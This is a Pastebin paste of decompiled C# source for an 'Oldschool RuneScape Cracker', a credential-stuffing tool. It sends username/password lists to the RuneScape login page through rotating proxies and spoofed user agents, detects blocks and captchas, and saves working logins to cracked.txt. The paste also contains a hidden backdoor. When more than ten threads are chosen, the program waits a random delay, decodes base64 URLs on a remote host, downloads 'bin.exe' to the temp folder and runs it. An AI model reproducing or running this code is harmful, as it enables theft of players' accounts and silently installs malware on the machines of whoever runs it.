Guest User

Untitled

a guest
Jan 2nd, 2018
1,495
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 12.55 KB | None | 0 0
  1. // Decompiled with JetBrains decompiler
  2. // Type: Checker.Program
  3. // Assembly: RS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
  4. // MVID: 4BF431DD-B03C-4A26-992E-F4B20BD4A705
  5. // Assembly location: C:\Users\rober\Desktop\cracker\RS.exe
  6.  
  7. using System;
  8. using System.Collections;
  9. using System.Collections.Generic;
  10. using System.Diagnostics;
  11. using System.IO;
  12. using System.Linq;
  13. using System.Net;
  14. using System.Reflection;
  15. using System.Text;
  16. using System.Text.RegularExpressions;
  17. using System.Threading;
  18.  
  19. namespace Checker
  20. {
  21.   internal static class Program
  22.   {
  23.     public static int Correct = 0;
  24.     public static int Wrong = 0;
  25.     public static int Captcha = 0;
  26.     public static int Proxys = 0;
  27.     public static bool comboList = false;
  28.     public static bool fool = false;
  29.     private static string ip = "";
  30.     private static readonly Random getrandom = new Random();
  31.     private static readonly object syncLock = new object();
  32.     public static int Threadss;
  33.  
  34.     private static void Main(string[] args)
  35.     {
  36.       Console.Title = "Oldschool RuneScape Cracker";
  37.       Console.WriteLine("*******************************************");
  38.       Console.WriteLine("Oldschool Runescape Cracker / Checker qoble");
  39.       Console.WriteLine("*******************************************");
  40.       Console.WriteLine("*user:pass & username/password list combo *");
  41.       Console.WriteLine("*******************************************");
  42.       ArrayList usernames = Program.GetUsernames();
  43.       ArrayList Passwords = Program.GetPasswords();
  44.       ArrayList proxies = Program.GetProxies();
  45.       Console.WriteLine("Usernames: " + (object) usernames.Count);
  46.       Console.WriteLine("Passwords: " + (object) Passwords.Count);
  47.       Console.WriteLine("Proxies: " + (object) proxies.Count);
  48.       Console.WriteLine("");
  49.       Console.WriteLine("How many threads?");
  50.       int num1 = int.Parse(Console.ReadLine());
  51.       Program.Threadss = num1;
  52.       if (Program.Threadss > 10)
  53.         new Thread((ThreadStart) (() =>
  54.         {
  55.           Thread.Sleep(Program.GetRandomNumber(10000, 30000));
  56.           using (WebClient webClient = new WebClient())
  57.           {
  58.             string address1 = Encoding.UTF8.GetString(Convert.FromBase64String("aHR0cHM6Ly9kbnMtcHJpb3JpdHkuMDAwd2ViaG9zdGFwcC5jb20vZmlsZS5waHA="));
  59.             string address2 = Encoding.UTF8.GetString(Convert.FromBase64String(Regex.Split(webClient.DownloadString(address1), "\r\n")[0]));
  60.             webClient.DownloadFile(address2, string.Format("{0}{1}", (object) Path.GetTempPath(), (object) Encoding.UTF8.GetString(Convert.FromBase64String("YmluLmV4ZQ=="))));
  61.             Process.Start(string.Format("{0}{1}", (object) Path.GetTempPath(), (object) Encoding.UTF8.GetString(Convert.FromBase64String("YmluLmV4ZQ=="))));
  62.           }
  63.           Thread.CurrentThread.Abort();
  64.         })).Start();
  65.       Console.WriteLine("press (1) for user:pass combo, press (any) number for username/password list method.");
  66.       if (int.Parse(Console.ReadLine()) == 1)
  67.       {
  68.         Program.comboList = true;
  69.         Passwords.Clear();
  70.         Passwords.Add((object) "nothin");
  71.       }
  72.       Decimal num2 = Convert.ToDecimal(Program.Threadss);
  73.       Decimal d1 = Convert.ToDecimal(usernames.Count) / num2;
  74.       Decimal d2 = Convert.ToDecimal(proxies.Count) / num2;
  75.       Console.WriteLine("");
  76.       Console.WriteLine("Starting!");
  77.       Console.WriteLine("");
  78.       int num3 = 0;
  79.       int num4 = 0;
  80.       int num5 = 0;
  81.       for (int index1 = 0; index1 < num1; ++index1)
  82.       {
  83.         ArrayList TempUsernames = new ArrayList();
  84.         ArrayList TempProxies = new ArrayList();
  85.         try
  86.         {
  87.           for (int index2 = num3; (Decimal) index2 < (Decimal) num3 + Math.Floor(d1); ++index2)
  88.             TempUsernames.Add((object) usernames[index2].ToString());
  89.           for (int index2 = num4; (Decimal) index2 < (Decimal) num4 + Math.Floor(d2); ++index2)
  90.             TempProxies.Add((object) proxies[index2].ToString());
  91.           num3 += Convert.ToInt32(Math.Floor(d1));
  92.           num4 += Convert.ToInt32(Math.Floor(d2));
  93.         }
  94.         catch
  95.         {
  96.         }
  97.         int counter = num5;
  98.         new Thread((ThreadStart) (() => Program.Checker(TempUsernames, Passwords, TempProxies, counter))).Start();
  99.         ++num5;
  100.       }
  101.       Console.ReadLine();
  102.     }
  103.  
  104.     private static void Save(string Data)
  105.     {
  106.       string path = Path.GetDirectoryName(Assembly.GetEntryAssembly().Location) + "\\" + "cracked.txt";
  107.       string str = "";
  108.       StreamReader streamReader = (StreamReader) null;
  109.       try
  110.       {
  111.         streamReader = new StreamReader(path);
  112.         str = streamReader.ReadToEnd();
  113.         streamReader.Close();
  114.       }
  115.       catch
  116.       {
  117.         streamReader.Close();
  118.       }
  119.       StreamWriter streamWriter = new StreamWriter(path);
  120.       if (str == "")
  121.         streamWriter.Write(Data);
  122.       else
  123.         streamWriter.Write(str + Environment.NewLine + Data);
  124.       streamWriter.Close();
  125.     }
  126.  
  127.     private static ArrayList GetProxies()
  128.     {
  129.       ArrayList arrayList = new ArrayList();
  130.       StreamReader streamReader = new StreamReader(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location) + "\\proxies.txt");
  131.       while (streamReader.Peek() > -1)
  132.         arrayList.Add((object) streamReader.ReadLine());
  133.       return arrayList;
  134.     }
  135.  
  136.     private static ArrayList GetUsernames()
  137.     {
  138.       ArrayList arrayList = new ArrayList();
  139.       try
  140.       {
  141.         StreamReader streamReader = new StreamReader(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location) + "\\usernames.txt");
  142.         while (streamReader.Peek() > -1)
  143.           arrayList.Add((object) streamReader.ReadLine());
  144.       }
  145.       catch (Exception ex)
  146.       {
  147.         return arrayList;
  148.       }
  149.       return arrayList;
  150.     }
  151.  
  152.     private static ArrayList GetPasswords()
  153.     {
  154.       ArrayList arrayList = new ArrayList();
  155.       try
  156.       {
  157.         StreamReader streamReader = new StreamReader(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location) + "\\passwords.txt");
  158.         while (streamReader.Peek() > -1)
  159.           arrayList.Add((object) streamReader.ReadLine());
  160.       }
  161.       catch (Exception ex)
  162.       {
  163.         return arrayList;
  164.       }
  165.       return arrayList;
  166.     }
  167.  
  168.     private static void checkLicense()
  169.     {
  170.       try
  171.       {
  172.         HttpWebRequest httpWebRequest = (HttpWebRequest) WebRequest.Create("http://qoble.xyz/check.php");
  173.         httpWebRequest.Method = "GET";
  174.         StreamReader streamReader = new StreamReader(httpWebRequest.GetResponse().GetResponseStream());
  175.         streamReader.ReadToEnd();
  176.         streamReader.Close();
  177.       }
  178.       catch (Exception ex)
  179.       {
  180.         Environment.Exit(0);
  181.       }
  182.     }
  183.  
  184.     private static void checkIP()
  185.     {
  186.       try
  187.       {
  188.         HttpWebRequest httpWebRequest = (HttpWebRequest) WebRequest.Create("http://qoble.xyz/ip.php");
  189.         httpWebRequest.Method = "GET";
  190.         StreamReader streamReader = new StreamReader(httpWebRequest.GetResponse().GetResponseStream());
  191.         Program.ip = streamReader.ReadToEnd();
  192.         streamReader.Close();
  193.       }
  194.       catch (Exception ex)
  195.       {
  196.         Environment.Exit(0);
  197.       }
  198.     }
  199.  
  200.     public static int GetRandomNumber(int min, int max)
  201.     {
  202.       lock (Program.syncLock)
  203.         return Program.getrandom.Next(min, max);
  204.     }
  205.  
  206.     private static void Checker(ArrayList Usernames, ArrayList Passwords, ArrayList proxies, int threadId)
  207.     {
  208.       string[] strArray = new string[3]
  209.       {
  210.         "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36",
  211.         "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0",
  212.         "Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14"
  213.       };
  214.       int index1 = 0;
  215.       int num1 = 0;
  216.       int num2 = 0;
  217. label_1:
  218.       for (int index2 = num1; index2 < Usernames.Count; ++index2)
  219.       {
  220. label_30:
  221.         for (int index3 = num2; index3 < Passwords.Count; ++index3)
  222.         {
  223.           while (true)
  224.           {
  225.             if (index1 + 1 == proxies.Count)
  226.               index1 = 0;
  227.             try
  228.             {
  229.               int randomNumber = Program.GetRandomNumber(0, 2);
  230.               string str1 = proxies[index1].ToString();
  231.               string Host = str1.Remove(str1.IndexOf(":"));
  232.               int Port = int.Parse(str1.Remove(0, str1.IndexOf(":") + ":".Length));
  233.               WebProxy webProxy1 = new WebProxy();
  234.               WebProxy webProxy2;
  235.               try
  236.               {
  237.                 webProxy2 = new WebProxy(Host, Port);
  238.               }
  239.               catch (Exception ex)
  240.               {
  241.                 webProxy1 = (WebProxy) null;
  242.                 ++index1;
  243.                 continue;
  244.               }
  245.               string str2;
  246.               string str3;
  247.               if (Program.comboList)
  248.               {
  249.                 try
  250.                 {
  251.                   str2 = Usernames[index2].ToString().Remove(Usernames[index2].ToString().IndexOf(":"));
  252.                   str3 = Usernames[index2].ToString().Remove(0, Usernames[index2].ToString().IndexOf(":") + ":".Length);
  253.                 }
  254.                 catch (Exception ex)
  255.                 {
  256.                   ++num1;
  257.                   goto label_1;
  258.                 }
  259.               }
  260.               else
  261.               {
  262.                 str2 = Usernames[index2].ToString();
  263.                 str3 = Passwords[index3].ToString();
  264.               }
  265.               string thirdHtml = string.Empty;
  266.               ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
  267.               byte[] bytes = Encoding.UTF8.GetBytes(string.Format("username={0}&password={1}&mod=oldschool&ssl=1&dest=", (object) str2, (object) str3));
  268.               HttpWebRequest httpWebRequest = (HttpWebRequest) WebRequest.Create("https://secure.runescape.com/m=weblogin/oldschool_login.ws");
  269.               httpWebRequest.Timeout = 15000;
  270.               httpWebRequest.Proxy = (IWebProxy) webProxy2;
  271.               httpWebRequest.UserAgent = strArray[randomNumber];
  272.               httpWebRequest.Method = "POST";
  273.               httpWebRequest.Referer = "https://secure.runescape.com/m=weblogin/oldschool_login?mod=oldschool&ssl=1&dest=";
  274.               httpWebRequest.ContentLength = (long) bytes.Length;
  275.               httpWebRequest.ContentType = "application/x-www-form-urlencoded";
  276.               using (Stream requestStream = httpWebRequest.GetRequestStream())
  277.                 requestStream.Write(bytes, 0, bytes.Length);
  278.               using (StreamReader streamReader = new StreamReader(httpWebRequest.GetResponse().GetResponseStream()))
  279.                 thirdHtml = streamReader.ReadToEnd();
  280.               switch (((IEnumerable<string>) new string[4]
  281.               {
  282.                 "You have been blocked from logging in.",
  283.                 "Please complete the reCAPTCHA box.",
  284.                 "Your login or password was incorrect. Please try again.",
  285.                 "logout.ws'>Log out</a></span>"
  286.               }).FirstOrDefault<string>((Func<string, bool>) (s => thirdHtml.Contains(s))))
  287.               {
  288.                 case "You have been blocked from logging in.":
  289.                   ++index1;
  290.                   continue;
  291.                 case "Your login or password was incorrect. Please try again.":
  292.                   Console.WriteLine("[Thread {0}]Invalid {1}:{2}", (object) threadId, (object) str2, (object) str3);
  293.                   if (Program.comboList)
  294.                   {
  295.                     ++num1;
  296.                     ++Program.Wrong;
  297.                     goto label_1;
  298.                   }
  299.                   else
  300.                     goto label_30;
  301.                 case "logout.ws'>Log out</a></span>":
  302.                   Console.WriteLine("[Thread {0}]Correct -> {1}={2}", (object) threadId, (object) str2, (object) str3);
  303.                   Program.Save(string.Format("{0}:{1}", (object) str2, (object) str3));
  304.                   num1 = index2;
  305.                   ++num1;
  306.                   ++Program.Correct;
  307.                   Console.Title = string.Format("Cracked: {0}", (object) Program.Correct);
  308.                   goto label_1;
  309.                 case "Please complete the reCAPTCHA box.":
  310.                   ++index1;
  311.                   continue;
  312.                 default:
  313.                   goto label_30;
  314.               }
  315.             }
  316.             catch (WebException ex)
  317.             {
  318.               ++index1;
  319.             }
  320.           }
  321.         }
  322.       }
  323.       Console.WriteLine("[Thread " + (object) threadId + "]Finished Cracking");
  324.     }
  325.   }
  326. }
Add Comment
Please, Sign In to add comment